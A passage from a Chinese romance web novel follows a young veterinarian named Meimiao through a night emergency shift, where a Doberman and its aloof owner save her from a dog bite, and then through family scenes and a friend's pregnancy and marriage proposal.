手机就紧跟着响起来,果然是急诊,她把剩下的工作一嘱咐,快步去了接诊室。
原来是刚子,还是两条。
一条因吃异物来就诊,另一条…嗯…算是家属陪同。
家长是一名壮汉。
一家三口
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。
还好不是重症,美妙悬着的心放下。
刚才大叫的就是这只陪同家属,不停地在接诊室到处嗅。
她问清楚情况,沟通说:“可以用双氧水催吐,对肠胃基本没刺激。”
壮汉点头:“那你快弄吧。”
没耽搁,美妙给刚子灌稀释后的双氧水,这只刚子还算配合,没太挣扎,但就是死憋着不吐,美妙又哄又劝,最后吐了将近半小时,啪嗒从嘴里掉出点什么。
那壮汉弯腰对着呕吐物辨认:“我靠!我新买的耳机啊。”
美妙:“……”
她笑笑安慰一句,考虑到催吐对肠胃有些损伤,便好心说:“给宝贝开点修护肠胃的药,回去记得吃。”
壮汉抬头:“刚不是说催吐没刺激吗?”
美妙为宝贝考虑:“几乎没有,但也不是全无刺激,主要你家宝贝刚刚憋着不吐,确实有点伤胃。”
壮汉有些不耐烦:“那你开吧。快点,多少钱?”
药倒是不贵,比耳机便宜多了:“三十。”
壮汉唧唧歪歪买了药,看到结账单瞬间竖起眉毛:“催吐费用200?!”
美妙点头如小鸡,指指急诊门号,小心解释说:“因为是夜间急诊。”
壮汉闷头不说话了。
空气一冷。
美妙脚指头忍不住揪住袜子。
主要这壮汉光着膀子倒竖眉毛,确实有点可怕…
好在壮汉愣了楞,瞪了她一眼,还是拿出手机扫了结账单。
美妙小小的出了一口气,心道怪不得大家都不爱上夜班,真是啥人都有。
好在家属刚子怪可爱,美妙牵着她,急吼吼冲出去弄出不少动静。
牵引绳不太顺溜,刚子又急,几步之后脚下拌蒜,美妙连忙上前解绳子,可能动作有点快,刚子被吓着,下意识就要咬人,说时迟那时快,在刚子要准备张嘴的那一瞬间!她本能的拿手挡了一下!
“汪!“一声高亢的狗吠。
刚子的嘴毛擦着美妙的手背掠了过去。
美妙保持着蹲的姿势,一人一狗楞在原地,她反应过来刚想站起来,刚子却又扭过头,美妙急急退后,可人的速度哪能比得上应激的狗狗,她几乎摊坐在地,眼见刚子的尖牙朝着自己脚脖子去了!
完了。
这是美妙那一刻脑海里的声音,虽然作为动物医生,她早早打过疫苗,但想到被咬,几乎本能的反应,她还是害怕!
却见一条油光闪亮武威的黑影扑过来。
一声震慑云霄的犬吠声响起,已经到了耳边。
一瞬间,两人两狗都愣住,刚子的尖牙缓缓缩了回去,歪倒、趴地、翻肚子、摇尾巴,一套动作行云流水。
美妙抬头,一条威风凛凛的杜宾犬四角着地,黑鼻头对着刚子,目光死死锁定它,毛发倒竖,从胸腔深处发出轻轻的低吼。
好帅!
这是从哪里来的黑骑士,简直天使。
只听不远处一声冷淡的口令:“舒克。”
一道冷酷身影从走廊徐徐而来,一身线条冷硬如冰雕,脸上没有任何表情。
16. 第 16 章
“舒克?”
冷淡凌人的气场渐渐逼近,美妙坐在地板上,一时间发生太多,又骇又惊又侥幸又意外,脑子还在疯狂处理信息,没反应过来。
她缓缓神,先处理眼前工作,歪头对大汉道:“你那个绳子放的太长了,可以适当收一点。”
没想到壮汉听了:“我家从小就这么溜的,我牵他好好的。”说着拾起地上的牵引绳,面无表情看美妙一眼:“你不弄吓它,它会咬你吗?”
“我…”美妙虎躯一震,她明明很温柔好不好,不过干这行就这样,见怪不怪,委婉地说:“宝贝容易应激的话,出门其实可以戴个嘴套,万一咬——”
“你们干这行被咬不是应该的。”壮汉打断她。
我去。
又被狠狠射了一箭,美妙感到小心脏上又多了个窟窿,她吞下箭头拍拍屁股站起来,出于职业惯性,还是选择把话说完:“我不是说咬医生,我说的是万一咬到家里小朋友或者老人就不太好了。”
壮汉笑:“要你管?”
美妙:“……”
有点蒙圈,不知道该接啥,傻呆呆站着。
此时一道冷淡的嗓音响起,“照你的逻辑,消防员救火该被烧?警察抓贼该被捅?”来人站到对面,眉眼冷峻,“照你的逻辑,像你这样的蠢人就不该养狗。”
梁时言逻辑清晰,字句犀利如针尖,眼尾清冷的眸光扫过去,一看就知道不好惹。
美妙惊呆:“……”
壮汉瞬间被秒脸憋得通红,半响后才愣愣地憋了一句:“你什么意思?”
梁时言喊了舒克过来,淡淡看他一眼:“字面意思。”
壮汉:“……”
美妙:“……!”
她不自在地瞄过去,看起来斯斯文文一个人,嘴皮子居然居然这么溜,简直吵架界天才。
正感慨着,她就看着壮汉没好气地撇撇嘴,扯了下狗绳,然后不言不言地牵着被舒克吓的瑟瑟发抖的狗狗们,走了。
走廊立刻安静下来,冷白灯光打在地板上。
一时间,美妙大囧。
没想到会在这时候碰见,他居然帮自己,毕竟她对他的印象就……,她挠了挠脖颈,余光瞥向舒克。
五秒后开口:“诶!是舒克!”刚刚谁英雄救美来着,她弯腰走到舒克头顶,伸手揉了揉那乌黑柔亮的毛发,准备张嘴开夸以此缓解尴尬。
“你怎么考上大学的?”一道质问落到头顶。
“嗯?”美妙抬头,不明就里懵懂的眼神。
“你怎么考上大学的?”梁时言淡淡地看着她,又一个疑问句,“没长嘴?”
美妙蒙了!
她微微张着嘴,表情茫然地看着梁时言,说她没长嘴,是说她不会回嘴,问她怎么考上大学,是在讽刺她智商低?
“哈?”美妙怪叫一声。
她一个医生跟病人家长计较什么,即使被咬她也要先安抚好动物,然后安抚好主人,最后才处理伤口,这是职业素养好不好。她还想不想端这碗饭了,敢跟家长一般见识,再说了,我怎么考上大学的关你什么事。
边想着,美妙站直,语气很坏:“这你别打听,打听多了对你不好。”□□的口吻。
梁时言一噎,忽然失语。
偏过脸,不说话了。
美妙也不看他。
只有舒克在两人脚边打转,抬头看看这个,又看看那个,忽然轻轻哼唧了起来。
美妙最听不得这个,心都要化了,她忙蹲下安抚它:“舒克乖舒克乖,谢谢你侠肝义胆,刚才简直帅爆了!,不像某些爱咬人的坏狗。”
她这才想起来深更半夜,一人一狗怎么跑医院来了,可气氛僵着,美妙不想对人类开口,于是捧着舒克的脸温声道:“帅舒克怎么半夜来医院,是哪里不舒服吗?”
梁时言垂眸瞥她一眼。
扯了一丝嘴角:“出来遛狗,正好走到这边,它非要进来看看。”
懂了。
这是住院产生的后遗症。
这后遗症真好,关键时刻还能救命,想到办公室还有小肉干,但是不知道能不能吃,还得问问主人,美妙边摸摸狗头,对着狗耳朵问:“我得谢谢你见义勇为,那你能吃肉干吗?”
刚才还炸毛,现在又……
梁时言偏头,罕见地失笑,敷衍了回了句:“能。”
那就好,“走吧。”
美妙肉眼可见的活泼起来,她起身,略显尴尬地看一眼梁某人,指指办公室方向,“肉干在那边。”
梁时言没吭声,拿着牵引绳往美妙指的方向走,舒克却想住院部走,梁时言简短的发出一声口令,它便乖乖掉头,不声不吭地跟着走了。
美妙:“……”
这两个人,还真是这一点不见外。
她忙小跑追上去。
就像儿童医院总藏着糖果,作为宠物医生,办公室也总能翻到小玩具小零食。打来储物柜,美妙捞了捞储物盒,只抓出一根,垫脚看了眼,里面还有最后一根,索性连盒一起拿出来,打开喂给舒克。
“舒克,坐。”
结果大嘴嘎嘎两下吃完,相对舒克高大英武的身材,很明显这个量有点抠门。美妙叉腰想了想,望着储物柜顶上更大的一只纸箱,她转脸看向站在门口看手机的梁时言,“那个,上面那个箱子能帮我拿下吗?”
梁时言缓抬头,视线从手机上移开,先看了一眼求助的小医生,又看向高高的储物柜,他将手机塞到西裤口袋,长腿两步移过来,看着她:“这个吗?”
美妙仰着头点点脑袋,身边突然多了一个人,相当有压迫感。
门外映进来的冷白灯光瞬间被遮挡大半,个高的抬手取纸箱,像一块云笼罩在头顶,高海拔身高带来的压迫感不是盖的,她侧眸观察,这人大概比自己高出一个头吧,到底吃什么大米长大的?
呃…谁家好人大半夜出来竟然喷香水,味道倒也还行,冷冽清幽,跟他脾气怪搭。
就在美妙跑神的时候,储物箱已稳稳落在桌上。
“要打开吗?”梁时言抽出笔筒里的美工刀,咔哒一声推出刀片。
美妙转身:“我来,我自己来。”
没干涉,梁时言把刀片收回,美工刀丢在桌上,长腿一挪,又立到门边去了。直到美妙自己划开箱子,从五颜绿色各式各样的玩具里,挑了一只出来,走过来递给他:“这个给舒克玩。”
他没接,眼尾略有戏谑之意:“算是感谢?”
笑话。
不过,这好像也是事实,美妙咽了咽唾沫,抬眸勉强道:“算是。”
梁时言不接,问她:“什么叫算是?”
美妙一激动,声音嘹亮“是!”
她不也救过他命,问他:“那之前我救你,你怎么不谢我?”
梁时
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言略勾了勾唇,垂眸,冷白纤薄的手掌从西裤侧兜抽出,抬上来,语气很随意:“不是请你喝了咖啡。”
呵,好像也是。
反正玩具是送舒克的,感谢也是对舒克,她把玩具随意按他掌心。
然后转脸对舒克:“谢谢你哦,舒克。”
梁时言稍稍迟疑,修长的手指微蜷,随即握住。
时间已近午夜。
走廊上,一黑一白,两道影子。
杜宾犬不怒自威贵族感与生俱来,如一道沉默的护卫,它步伐不紧不慢,与一旁清俊挺拔的男人保持着一种冷峻的默契。
无人的走廊上有种视觉冲击的凌厉之美。
另个方向,病房医助小跑过来,好奇地盯着问:“美医生,那是谁呀?”
“以前的病号。”
“我问的是旁边那个,长身如玉发着光的人类。”
“……那是它家长。”
美妙眯着眼仔细看过去:“什么发着光,不就个高点,再套件白运动衫,大晚上显眼而已。”
她接着感慨:“他家的狗真的是好狗,你看毛多亮啊。”
医助奇怪地看她一眼,重新盯住发光的背影,“我还是觉得人帅。”
美妙挑了眉:“狗帅。”
接下来的几小时平稳度过,这一夜纵有波折,但总算风平浪静,夜间急诊的灯牌随着天光一点点暗了下去。
清晨六点,晨光拂晓特有的微凉扑面,空气清新,草尖上的露珠晶莹,鸟鸣欢快。
美妙走出门诊楼。
骑着车路过门岗,保安大哥喊住她:“美医生,昨晚没事儿吧?”美妙捏住车闸,有点丈二和尚摸不着头脑,“怎么了师傅?”
师傅挠了挠头,表情怪异:“昨晚有个人过来说咱们医院安保措施不到位,要我们加强巡逻,尤其是你们急诊那边。”说完悻悻道,“那人还挺强硬。”
美妙不由睁大了眼睛,忙问那人长什么样。
“挺高一小伙穿白衣服,还领条大狼狗。”师傅的印象很深刻,“长得倒是一表人才”
美妙:“大狼狗?”
心说这居高临下颐指气使的口吻、看哪儿哪儿不顺眼的劲儿,是他没跑了吧?绝对是他!
美妙无比肯定,虽然舒克不是什么大狼狗。
师傅不知道对面的小医生正天人交战,忙问:“没事吧?”美妙打住思绪,笑了笑,先道谢,然后拧上电瓶:“没事,那我走了。”
小电驴迎风破浪,迎着晨光开出了医院大门,街上车辆稀少,一路畅通,清晨空气清新,路两旁的树叶折射着清冽的阳光。
回到家推开门,一大早安安静静空无一人,老两口应该出去遛弯了,已经连续二十几个小时没合眼,美妙衣服都没换,回房间一头栽在床上。等醒过来,已是中午,她闭着眼进入神游状态,又迷迷糊糊睡着,悠悠醒来已是下午三点。
房间光线暗淡,太阳已经绕到西边去了。
外面有动静,说话声隐约可辨,人不知道什么时候回来的。
默默听了一会儿,美妙终于离开尊贵的床君,踩着拖鞋出去了。
客厅中央乱糟糟的,一地包装材料,沈女士正指挥美老师往纸箱内装气泡垫,两人一人一边,塞得正起劲。
微信视频邀请的鸣音大响,一声又一声。
美妙打了一个大大的哈欠:“你俩干嘛呢?”
17. 第 17 章
她迷楞着眼走到茶几上,对着支起的手机看,屏幕亮起的瞬间,美丽的脸从光亮里出现,像一帧动态海报。
美妙眼睛一闪:“姐!”
美丽摆正摄像头,脸离镜头更近了些,“刚起来床啊你,懒鬼。”她转脸对身后说了句什么,又回过来问妹妹:“你呢,考试报名了吗?”
美妙还没开口,就瞄到美丽身后路过一张帅脸,不到一秒变被美丽赶走。
只听美丽赶那人,声音还是那么好听:“你走远一点。”
然后对美妙:“你说吧。“
美妙笑笑,那张帅脸是姐姐的男朋友冯焱,两人两年前一起出国进修。
她压低声音问:“姐,你跟冯焱什么时候结婚?”
美丽立刻板了脸:“别转移话题,我问你报名报上没?”
美妙没敢再问:“报上了报上了。”
还没说来得及聊别的,她身子一歪歪就被沈女士的挤走,“美丽呀,给你汇的钱收到没?”
那头美丽说:“收到了妈,谢谢你跟爸爸。”
美妙一屁股坐沙发上,无语地帮美景山按住正用胶带封的箱子,说:“爸你看到没,我就说我妈偏心眼。”
美景山咔嚓剪断胶带,笑她:“打小你就喜欢跟在你姐屁股后头转悠。”
美妙诶一声,指着自己,“您说我像狗啊?”
美景山就笑,然后就听到美丽喊:“那行,我不跟你们多说,一会还有课。美妙,你好好学听见没?”
“知道啦姐。你再陪我说会儿话呗,我想你了。”美妙歪着脖子往沙发背上靠。
美丽噗嗤笑了,睫毛在眼尾闪动:“瞧你那傻样!”
美丽嘿嘿嘿笑,眉眼弯弯,只有在笑的时候,灵动的眸子转动,姐妹俩才像一个爹妈生的。
沈女士含笑挂了电话,她又过去给美老师递气泡膜,美老师抬头看向小女儿:“你妈给你姐买了一个多功能压力锅。”
“啊!你们要寄到美国去啊?”
“啊什么。”沈女士搭女儿一眼,“你姐打小爱吃大米饭,这锅又能蒸米饭还能压排骨。去的时候让带她嫌麻烦,这不,刚才就说那边的饭菜下不去口,人都瘦了。”
美老师语气也跟着伤心:“你姐确实瘦了。”
老两口难得一唱一和。
这让美妙想起来网上一则热帖,一位中国人每天拍白人同事的午餐,今天一根红萝卜,明天半块紫甘蓝,后天掀开塑料饭盒一看,里头躺只甜椒,拿起来就生啃。
这么想着她也饿了,“妈,你说的对,全世界的美食都比不过中国,全中国的饭菜都比不过咱家。我姐的饭菜有着落。”她看向餐桌,“那么亲爱的妈妈,我的饭呢?”
“在保温桶里。”沈女士对着马屁还挺受用,“厨房你爸给你买了油炸小黄鱼。”
美妙爬起来颠颠跑去厨房,边走边补了句:“那我就得说,全中国的父亲都比不上我爸爸。”
沈女士无奈地瞅一眼丈夫,“她到底像谁啊?”
美老师挺能理解女儿,毕竟是当老师的,一语道破:“上班上疯了呗。”
当年高考填志愿,一贯懂事听话的小女儿不顾全家反对报了兽医,那时候美老师劝他报师范类,她不听,现在好了,吃上苦头了。
他望着美妙有些神志不清的身影,“现在知道当医生辛苦,后悔了吧?”
“后什么…”只见美妙端出来一碗自制盖浇饭,嘴里叼着半截小炸鱼,“爸今天这鱼不是在老地方买的吧?”
美老师哦呦一声,刚要说你真是属狗的啊。
美妙的手机乍响。
她洞悉地看一眼美景山,将手机夹在耳边,嘴里还咬着小黄鱼,含糊不清:“喂?”
仔细听,那头却传来了呜咽声。
美妙心头一紧,忙问:“你怎么了?”
那头的陈佳佳吸了吸鼻子,所答非所问:“你在干吗呢?”
“吃饭。”
“晚饭吃这么早。”
“午饭,昨晚夜班。”
“怎么了……你?”美妙又问她。
陈佳佳什么都没说,只简单聊了几句说没啥大事等晚上见面聊,两人便约了见面,就这么没头没尾挂了电话。
看来哪行都不好干,美妙觉得陈佳佳肯定在单位工作不顺,平时也没少听她吐槽,天天跟明星名人打交道,免不得尔虞我诈,估计谁给她气受了。
这么想来,她觉得兽医的工作特好,天天跟小猫小狗呆一块不用总看人脸色,能少死不少脑细胞。
见女儿挂了电话,美景山问她:“怎么了,单位有事?”
“没有。”美妙不想让父母跟着操心,问他刚才想说什么,美老师就说她嘴叼,今早买鱼店老板休息没来,今天的鱼是临时替班的这家儿子炸的。
美妙哼哼一声,她常吃这家,别说味道了感觉颜色也不对,不过毕竟是老美同志辛辛苦苦买的,于是公平道:“虽然颜色炸深了,味道倒还行。”
美景山:“改天再给你买。”
“不许买,吃那么油炸东西干嘛,死贵死贵,还不如买点水果。”沈女士一如既往输地严格。
美妙吐了下舌头,默契地与美景山对看一眼,同时闭上了嘴巴。
吃过饭,窝在沙发上看了一集电视,美景山路过客厅给女儿使了个眼色,然后陪着沈女士去快递公司了。
美妙一呆:“?”
一时没接到信号,随着大门落锁,外面的脚步声越来越远。
桌上手机响了。
美景山的短信:冰箱第二层,老干妈后面。
美妙一个弹起,踢上鞋,跑到厨房,打来冰箱门,一眼下就掏出一罐伪装极好的可乐,触手冰凉,晃了晃,冰块们哇啦啦唱着歌!是谁说冰可乐是肥皂快乐水来着,简直天才,她都多久没喝过了,虽然她此刻是瘦宅。
不过,豪吸一大口可乐后,总觉得缺点什么。
正想着,手机又响了。
美妙回到客厅,屏幕上明明白白弹了一句消息:炸鸡薯条在厨房,左边第三个抽屉。
哈哈哈哈哈!
美妙高兴地跳脚!
她要更正一下:全世界的父亲都比不上我爸爸!
晚上七点,简单收拾后下楼,穿过小区一道铁栅栏侧门,美妙走到马路边,她看了眼手机时间,不多时,一辆红色跑车远远炸街而来,等车在跟前停下。
她拉开车门,差点被车内震耳的音响轰晕。
坐上去:“你疯了,这才几点你就出来扰民?”
陈佳佳目视前方,泫然欲泣,上来就是一个重磅炸弹,“我要跟高小岩分手。”
“啊…为什么呀?”美妙满头问号。上回吃烧烤不还好好地,两人亲密无比,忙问她:“到底怎么了,我还准备等着喝你俩喜酒呢?”
盯了半天,问了半天,陈佳佳只开车不说话,美妙一歪脖子,“得!皇上不急急死太监。”她支着脑袋瞅一眼陈佳佳,叹口气轻声说:“其实高小岩挺好的,你俩也好了挺长时间,人一直依着你顺着你,陪着你,多好呀。”
陈佳佳:“好个屁!”
美妙悠悠然扭向窗外:“屁可没高小岩好。”
陈佳佳一个刹车猛踩到底,拿眼剜她:“你到底谁朋友,怎么净帮外人说话?”
美妙眨眨眼,按照前来后来,她跟陈佳佳一起长大自然更亲,咧了咧嘴角,“我宣布,从现在开始,你是我最好的朋友,高小岩,是我死敌。”
“行!算你仗义。”
美妙嗯了声,抬手换了手慢歌,车内瞬间安静下来,她无聊地掏出手机扒拉着。
没拦住,陈佳佳点了一桌子菜。
全是冒着油星的大鱼大肉,不带重样儿的麻辣鱼,辣子鸡丁,毛血旺,小炒黄牛肉,就一盘酸辣土豆丝看起来清淡。
美妙可是在家刚灌了大杯冰可乐,这么吃非肠胃炎不可,她盯着菜,不好意思地盯着陈佳佳:“你疯了?”
陈佳佳拆筷子,看也不看她:“吃吧,不吃以后没机会了。”
美妙:“什么意思?”
她心中一跳,脑子里瞬间跳出各种不好的想法,正犹豫怎么开口,却听陈佳佳说:“我怀孕了。”
“啊?你说什么?”美妙没听清,腾地站起来。
陈佳佳叹口气,丧眉搭眼又说了一遍,这次听得很清楚。
正值用餐高峰,饭店大厅乱哄哄的,旁边还有人猜拳,美妙朝隔壁桌看了眼,稳了稳心神,这才缓缓坐下:“你没开玩笑吧。”
陈佳佳不看她,只死命吃菜,不说话。
看她表情,也知道没开玩笑,这事虽说司空见惯见怪不怪,但发生在身边还是陈佳佳身上,美妙心里还是忐忑,犹豫来犹豫去心吊了起来,低声问:“孩子是谁的?”
陈佳佳缓缓抬头,眼神里除了吃惊更有错愕。
美妙忽然乐了:“你吓我一跳!”
害她白白担心,还以为不是高小岩的,她就不解,“那你为啥还要跟他分手?”
陈佳佳烦躁地垂了垂眼皮,又抬起来:“我现在事业刚有起色,不想这么早结婚。”
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美妙微微顿了顿,“那你不想要他了?”视线落在陈佳佳小腹上。
陈佳佳不知道,这也是她纠结难受的点。
这时美妙手机振了下,她先看一眼陈佳佳,然后掏出手机点开了信息。
怎么现在才回,没仔细看他回的内容,她只回了两个字,速来,然后发了一定位过去。
“吃饭吃饭。”美妙丢了手机,打算先稳住孩子她妈再说。
陈佳佳人精,她余光扫眼盯着美妙手机:“你跟谁发消息?”
“同事。”美妙心虚地转移话题,拿起筷子指着中间的一盘小炒肉,“这辣吗?辣不辣?”
美妙撒谎的时候一般先避开视线,然后说话转移话题,这么多年一点没长进,陈佳佳说她:“别装了,你个幼稚鬼。”
诡计被戳穿,美妙索性放下筷子,难得语重心长:“当妈妈很伟大,也很辛苦,所以…这事你该跟高小岩好好商量商量。”
“装什么大人?”陈佳佳吐槽她,自己实在不耐烦想这些,索性暂时抛到一边,她发问道:“别说我了,你怎么样,跟你那么师兄有进展没?”
美妙轻轻叹口气,认真夹了根土豆丝,“我挺好。”
“什么什么挺好,我问的是,你跟你那个什么师兄,啥情况了?”
说起师兄,美妙不自觉翘了嘴角,她去找他,他特意给自己拿了果汁呢,加上小象挂件,这已经是她收到的第二件礼物,算是进展吧?
对面陈佳佳不屑地看着她:“傻乐什么?说话。”
美妙抿了抿嘴唇,还挺自豪:“昨天,他给我送了瓶果汁。”
“……”陈佳佳张着嘴想听下文,“然后呢?”
“然后我就回办公室,便喝果汁边愉快地干活了呀!”
陈佳佳顿时无语,这姑娘该说她单纯还是傻呢。要说不傻吧,聪明伶俐成绩好智商也不低。可就是怎么感觉这么不开窍呢,她看对面的美妙,乐悠悠吃菜,满脸小确幸。
忍不住发出疑问:“美妙同学,你就没觉得你高兴的点,有点不对?”
“哪里不对?”美妙眨巴着眼问。
陈佳佳耐着性子循循劝导,“那他就没借机约你出去吃个饭,看个电影什么的?”
“他刚回来应该很忙,家里有事还请假了。”美妙不小心吃了口辣椒籽,忙着找水喝水,“我也挺忙……就……就没多呆。”
陈佳佳几乎气绝。
这货真是不开窍啊!
她想起美丽来,这姐妹俩是一个爹妈生的吗?一个从小光芒万丈,收情书收到手软,一个明明也挺可爱怎么就是差这么多,忍不住问:“我记得咱俩上学那会儿,你姐不是老收情书,跟男孩子约会来着?”
一提这个,美妙立马振奋,她说是啊,那会儿传小纸条,跟男生出去逛公园,都是她帮忙在爸妈面前打掩护。
她还骄傲地说:“要是有人欺负我姐,我还得负责保护她呢。”
陈佳佳注意力明显被妙妙带歪:“就你,你姐可你比高,你保护她?”
美妙轻按桌子:“那可不,虽然我姐比我高,但我凶啊,那些男孩都怕我。”
“行行行,你厉害你大侠!”陈佳佳彻底无话可说,要不是够不着,她真想上去掐一掐美妙的脸,这时候又想起愁事,一脸郁闷地转头看窗户,一辆熟悉的越野车正开进来,她转头:“是你把他叫来了?”
美妙顺着她视线看出去,也看到了高小严的车,假装无事发生:“我没叫,不是你自己叫的吗?”
陈佳佳斜睨她一眼,心头那股郁闷,好像终于找对了出口,没那么憋屈了。
美妙悠哉哉地喝了口水。
是夜。
后半场换了地方,桌上的菜全被高小岩换成了高端健康食材。
三人好好吃了顿饭。
美妙形单影只,站在宽阔的马路边,见对面俩人俩勾肩搭背腻腻歪歪的样儿,很是不屑,陈佳佳故意亲了一口高小严,气她:“怎么样,羡慕吧。”
美满仰头望天,难得的能看到星星的夜晚,她大喊:“晚安晚安,这个世界!”
然后垂头,点指陈佳佳高小严,恨道:“除了你俩!”
陈佳佳过来勾住美妙脖子,“我们结婚,你来当伴娘。”
是的,高小严不仅人来了,还带来了一只鸽子蛋。
两年以后,当美妙躺在医院待产的时候,高小严一家三口来看她,她对着牙牙学语的高小念说:“你知道吗,要是没有阿姨,就没有你。”
陈佳佳慌忙抱起孩子:“你老公呢,快来管管!”
18. 第 18 章
美妙当然不知道几年之后发生的事。
别说老公了,此刻此刻,她那姗姗来迟的男朋友还不知道在哪处瞎晃呢。
坐在晚班地铁里,看着一帧一帧呼啸而过的广告牌,脑子里净是陈佳佳手上那颗鸽子蛋。真是又大又闪,不得不承认,高小岩真是很会选求婚礼物。
美妙耳边现在还是高小岩当众求婚时,餐馆里爆发的惊呼声。
末班的车厢空荡荡,速度似乎比白天更快,美妙发了一会儿呆,拿出手机,习惯性打开微信同学那类分组,点开了排在首位,第一个头像。
对话框内最新的消息,还停留在两年前。
美妙:【师兄,一路平安,一路顺利。也祝师姐一切安好。】
苏屹:【谢谢,也祝你学业顺利。】
盯看很久,美妙像往常那样,点开了苏屹的朋友圈。不出所料,跟昨天一样,没有更新没有新内容,依旧是仅一个月可见。顶置分享还是那条她第一个点赞的学术论文,看眼左下角,她惊讶地移开手指,点赞数已然超过了200,昨天看还168,一看评论她就全明白了。
什么苏医生医术高超救我家狗狗命,什么苏医生对病人和家属很有耐心,很温柔巴拉巴拉,全是病号家长。
美妙:“什么嘛?”
从哪里冒出来这么多花痴。
她不屑地嘁一声,一条一条翻下去,最后实在不想看,“嗒“一声锁屏,索性关了手机。
她叹口气,哀叹声在车厢内回转。
这时,丢在手边座位上的手机叮咚一声,又叮咚一声。
美妙转头,屏幕亮着。
显示2个联系人发来2条新消息。
第一条来自美老师,问她到哪里了,美妙抬头看列车站点,然后回过去。
点开第二条消息时,她噗嗤笑了。
怎么搞的呀,她点开放大图片,视线锁住一只玩具,什么情况啊?她送给舒克那只气质与之匹配威武雄壮的狮子玩具啊,怎么怎么,怎么变成烫头卷毛啦?
她立即问梁时言:【你对它做了什么?这可是医院专门定制的,正规厂家正产。】
反正不是劣质货。
对方倒是秒回:【消毒烘干了一下而已。】
接着他就强调:【你送的礼物,看来质量不行。】
美妙几乎吐血,谁家买回去带着包装的新玩具,给狗玩的,还拿去消毒烘干呀,简直……简直不可理解,相当神奇。
这人就是爱挑刺擅长倒打一耙,并且道理一大堆,她不可思议地看了眼地铁站点,然后问他:【你们有钱人脾气都这么怪吗?】
消息发出去,她预感着对方会来辨认,可等半天,手机都灭了,那边竟然没动静。
此刻。
杜宾犬舒克正咬着卷了毛的新玩具,它从宽大的客厅这一边,撒欢跑到另一边,爪子摩擦在地板上,发出啪嗒啪嗒的声音,又一个急刹停在尽头的门口,落在墙上有回声。
梁时言坐在沙发中央玩纸牌,依旧保持着淡淡的神色,与刚才拍照发消息时看不出什么区别。只是在他慢条斯理分完最后一张纸牌后,忽然弹指弄乱了已经排好的一列纸牌。
然后微微后仰,靠在沙发背上,沉默了一刻。
舒克啪嗒啪嗒跑过来,嘴子叼着那只被烘干后狮子不像狮子狗不像狗的搞怪玩具,歪着头望着他。
梁时言缓缓侧头,抬手摸了摸湿润的狗鼻子,忽然觉得自己好笑。
他坐了起来,俯身收了茶几上的纸牌,叫了声舒克往楼上走,随着一层智能灯光的熄灭,前面二层照明灯亮了起来,随之亮起的,还有握着的手机。
天太晚,美妙坚决没让老美下来接,她穿过铁门,转了个弯,抬头就看到了二楼客厅亮着的阳台灯,回到家老美果然还没睡,他打了个哈欠站起来。
“回来了。”
“您去睡吧,我洗个澡马上睡。”美妙推着老爸进屋,然后回客厅关了灯。
床头只亮了一盏台灯,美妙洗过澡仰面躺在床上。
今晚在热闹的餐馆,高小岩跟陈佳佳求婚,当时气氛特别好,所有人都看过来,大家起哄一起鼓掌,高小岩单膝跪地的时候,引得她也掉了一大串眼泪。
这样,就叫幸福了吧。
她替他们感到开心,和无与伦比的幸福。
只是,除去开心幸福。
她心莫名觉得有点慌慌的,难以名状的失落丝丝缕缕,美妙轻轻吐了一口气,翻了个身脸压在胳膊上,盯着台灯罩的光晕。
此时,床头的手机振了下。
她缓了一缓,爬过去拿起来。
呦,梁大怪人居然回消息了。
她哼一声,解锁手机,点开了对话框。
梁时言:【你美医生不也有些怪脾气吗?】
欸,她一下坐起来,这哪儿跟哪儿,她怪吗?她正经普通人类,贫苦大众。
她回他:【诶!我可是地道的穷人,不敢有怪脾气。】想了想,觉得这么写有点自揭其短,于是改成了:【诶!我这叫灵魂有棱角,不知道吧?】
梁时言回得很快:【以前不知道,现在略有了解。】
嚯!美妙一仰脖子瘫倒在枕头上,这人看着话很少,怼起人来嘴皮子真是溜啊,她想起那晚被大小刚子的主人为难,梁时言那淡淡的语气和震慑力十足的气场,不由啧舌。
真是一张毒嘴。
正胡思乱想着,美老师的声音在门外响起:“妙妙,怎么还没睡呢?”
美妙忙应声:“马上。”
然后就听到拖鞋擦地的声音,渐渐走远。
她打了个呵欠,眼底瞬间浮上水汽,头晕晕一阵犯困。
算了,反正办公室还有一箱玩具,她再送一个好了,于是不跟梁时言斗嘴皮:【好了,有机会再给舒克送一个玩具好了。】还点发出去,对话框弹了一条新消息。
梁时言:【改天再新玩具过来。】
“嘿!”这居高临下的语气,美妙手一僵,把对话框打好的字全删了,没回他。
就这样吧,她又打了一个哈欠,将手机放回桌上,泪眼朦胧中关了台灯,没一会儿,歪在枕头上睡着了。
周末的行业研讨会为期两天。
听说全省同行包括相关的医疗品牌服务商、各大高校和政府相关部门都会参加,规模很大。最近几天,科室不忙的时候,大家聊的都是这块。
“听说主任改发言稿改的头秃,连着加了几天班。”
“哈哈哈,可总算有让主任头痛的事了,天天训咱们,这回也让他痛苦一回。”
“诶,说到时候各家企业也会出席。”
美妙边听同事聊天,边对着电脑调邹文昌的字间距,老头儿挑剔得很,除了统一格式调调页边距,行距也要好好调一下,最关键大一号字体,力求他念的时候一目十行,清晰流畅。
杨帆从外头回来,拉开椅子坐下:“累死我了。”
美妙听到了呻吟,对着电脑嘀咕道:“这都多久了你也该适应了吧,可别再跟上次一样,才辛苦几天,就被你妈
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给抓回去了。”
上回轮他值夜班,被院长夫人抓回去,害得她遇到大小刚子主人。
上回他是真生病了,手背上还有打吊瓶的淤青,杨帆转过来给她看手:“我上回可是真生病了。”
“嗯嗯。”美妙随口应着,稿件已经改好,她点了打印,墙边打印机嗡醒来,嗖嗖一张张吐送出来。
“咚—咚—”科室门响了两下。
门口同事最先看到来人,哎哟一声:“苏医生?”
“苏医生来啦。”
“苏医生。”
美妙也听到了,转头就看到门口立着一个人,高挑的身材温文尔雅的态度,他正跟同事微笑答话,然后寻找了一下,“我找美妙。”
视线落在打印机旁的美妙身上,朝她走了过来。
几秒后,白大褂衣摆相触的一瞬,美妙耳朵里全是打印机送出纸张的声音,她听到自己轻声说:“师兄。”
没想到突然见到他。
苏屹笑了笑,目光落在打印机上:“这是给老师打的?”
美妙忙点头:“嗯,主任让我帮忙排了版面,我一会儿给他送过去。”
美妙排版技术一流,在学校时系里有口皆碑,大家都爱找她帮忙。
“那…”苏屹捏着手里的u盘,犹豫道:“那你时间紧不紧,我也想请你帮忙。”
美妙一激动:“师兄,你也要参加研讨会吗?”她眼睛明亮。
“参加……”苏屹顿了下,“我时间空出来了。”
旁边同事说:“哇苏医生你好厉害,要上台演讲吗?”
最墙角的小微也站起来:“苏医生太牛了吧。”
